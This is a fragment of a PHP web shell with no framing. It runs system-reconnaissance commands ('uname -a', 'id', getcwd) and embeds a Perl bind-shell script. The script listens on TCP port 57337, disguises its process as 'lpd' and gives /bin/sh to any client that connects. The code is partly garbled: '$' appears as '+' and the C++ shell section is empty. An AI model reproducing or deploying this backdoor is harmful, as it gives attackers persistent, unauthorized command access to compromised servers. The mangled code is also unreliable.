Kernel:
passthru("uname -a");?>
ID:
passthru("id");?>
Dir: echo getcwd();?> |
######## perl shell #########
$perlshell = "
#!/usr/bin/perl
use Socket;
#rintf \"BS9n\";
#lush();
+port= 57337;
+proto= getprotobyname(\'tcp\');
+cmd= \"lpd\";
+system= \'echo \"(`whoami`@`uname -n`:`pwd`)\"; /bin/sh\';
+0 = +cmd;
socket(SERVER, PF_INET, SOCK_STREAM, +proto) or die \"socket:$!\";
setsockopt(SERVER, SOL_SOCKET, SO_REUSEADDR, pack(\"l\", 1)) or die \"setsockopt: $!\";
bind(SERVER, sockaddr_in(+port, INADDR_ANY)) or die \"bind: +!\";
listen(SERVER, SOMAXCONN)or die \"listen: +!\";
for(; +paddr = accept(CLIENT, SERVER); close CLIENT)
{
open(STDIN, \">&CLIENT\");
open(STDOUT, \">&CLIENT\");
open(STDERR, \">&CLIENT\");
system(+system);
close(STDIN);
close(STDOUT);
close(STDERR);
}
";
############# C++ shell #########
$cshell = "
";
?>
|